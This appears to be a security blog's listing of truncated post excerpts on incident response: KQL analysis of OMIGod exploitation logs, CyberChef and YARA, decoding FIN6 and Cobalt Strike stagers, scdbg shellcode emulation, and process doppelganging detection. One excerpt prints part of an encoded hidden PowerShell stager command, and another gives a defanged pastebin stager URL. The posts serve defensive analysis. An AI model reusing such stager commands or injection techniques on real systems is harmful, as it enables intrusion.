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INTRODUCTION This post walks you through the log analysis of OMIGod vulnerability exploitation artefacts using kusto query language (KQL). The raw json logs from exploited linux device are fetched into Azure KQL data explorer using externaldata() function and analysed in KQL instance. I have been learning Kusto Query Language as part of my routine and KQL experts can write better queries to fine tune json data than what I have mentioned here  The Linux device with vulnerable OMI version is configured with Linux Audit Daemon with the best practice configuration  This blog explains about setting up your own private pwn lab for OMI exploitation  This great Linux Logging with AuditD video by  IppSec   explains how to set up linux logging with Auditd. Below are all the comments by IppSec from the video (no comments from me and full credit goest to IppSec) Installing Auditd Downloading a good baseline ruleset from github  Going over the baseline file to understand how logging works What th

One of the best features of Cyberchef is YARA and yara rules can be run for a given file to classify and gain knowledge about the file. It can also quickly give an understanding and basic characteristics of the file Follow the below demo to know how to use yara rules in cyberchef  Cyberchef - https://gchq.github.io/CyberChef/  

This post explains about decoding FIN6 cobalt strike stagers using cyberchef and scdbg. Attackers leverage pastebin to host cobalt strike stagers or malicious droppers and few of them are still active on pastebin though the final c2 or  domains are not active. Below is one of those pastebin httpstagers  hxxps://pastebin[.]com/raw/HPpvY00Q. One of my previous posts  Decoding Metasploit and CobaltStrike shells  explains how to use CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2. Here scdbg command line version for linux is used to emulate the shellcode  References:  CyberChef Scdbg Cobalt Strike stagers used by FIN6 Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware

This post explains how to use scdbg  to analyse one type of shellcode generated by Metasploit framework or CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike).  The previous post Decoding Metasploit and CobaltStrike shells explains how to leverage CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary scdbg is a shellcode analysis application built around the libemu emulation library. When run it will display to the user all of the windows APIs the shellcode attempts to call  Finally, there are other ways to analyse shellcode in various platforms. This is just an explanatory post to leverage a gui

Introduction This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike ). It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg  emulator to get the IP address of C2 or an adversary ShellCode Here we have the encoded powershell command  powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAH

This post is just about running a tool created by hasherezade  to perform process doppleganging. All credit goes to the researchers Tal Liberman   and Eugene Kogan from  enSilo and also  hasherezade I just wanted to simulate the same process doppleganging and detect with  pe-sieve , it is recommended to walk through author's blackhat presentation  Lost in transaction - Process Doppelgänging and tool creator's write up  Process Doppelgänging – a new way to impersonate a process Process doppelganing is a code injection technique ( can be a substitute to traditional process hollowing code injection technique) that leverages NTFS transacations related Windows API calls which are less used with malicious intent and hence "less known" to AV vendors, hence this code injection technique is more likely to go undetected. The Doppelgänging objective is to load and execute aribitrary code in the context of a legitimate process, none of the process hollowing API calls li